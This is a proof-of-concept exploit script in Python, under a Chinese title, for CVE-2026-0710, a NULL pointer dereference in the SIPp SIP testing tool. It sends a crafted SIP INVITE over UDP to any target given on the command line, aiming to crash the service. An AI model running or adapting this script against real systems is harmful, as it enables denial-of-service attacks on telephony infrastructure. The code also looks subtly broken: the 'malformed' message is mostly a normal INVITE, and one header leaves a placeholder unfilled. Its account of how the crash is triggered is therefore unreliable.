CVE-2026-0710 SIPp NULL指针解引用导致拒绝服务或代码执行

#!/usr/bin/env python3 """ CVE-2026-0710 PoC - SIPp NULL Pointer Dereference Note: This PoC is for educational and authorized testing purposes only. Author: Based on vulnerability analysis """ import socket import sys import time def send_malicious_sip_message(target_ip, target_port, call_id): """ Send a specially crafted SIP INVITE message to trigger NULL pointer dereference in SIPp """ # Malicious SIP INVITE with malformed headers to trigger NULL pointer dereference malicious_invite = f"INVITE sip:target@{target_ip}:{target_port} SIP/2.0\r\n" malicious_invite += f"Via: SIP/2.0/UDP {target_ip}:{target_port};branch=z9hG4bK{call_id}\r\n" malicious_invite += "Max-Forwards: 70\r\n" malicious_invite += f"From: <sip:attacker@{target_ip}>;tag={call_id}\r\n" malicious_invite += f"To: <sip:target@{target_ip}>\r\n" malicious_invite += f"Call-ID: {call_id}@attacker\r\n" malicious_invite += "CSeq: 1 INVITE\r\n" malicious_invite += "Contact: <sip:attacker@{target_ip}>\r\n" # Malformed Content-Type and missing required headers malicious_invite += "Content-Type: application/sdp\r\n" malicious_invite += "Content-Length: 0\r\n" # Missing critical headers that may cause NULL pointer access malicious_invite += "\r\n" return malicious_invite.encode() def exploit_sipp_null_pointer(ip, port=5060): """ Exploit function to trigger CVE-2026-0710 in SIPp """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) call_id = f"exploit-{int(time.time())}" try: payload = send_malicious_sip_message(ip, port, call_id) print(f"[*] Sending malicious SIP message to {ip}:{port}") print(f"[*] Call-ID: {call_id}") sock.sendto(payload, (ip, port)) print("[+] Malicious message sent successfully") print("[*] If vulnerable, SIPp should crash with NULL pointer dereference") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 5060 exploit_sipp_null_pointer(target_ip, target_port)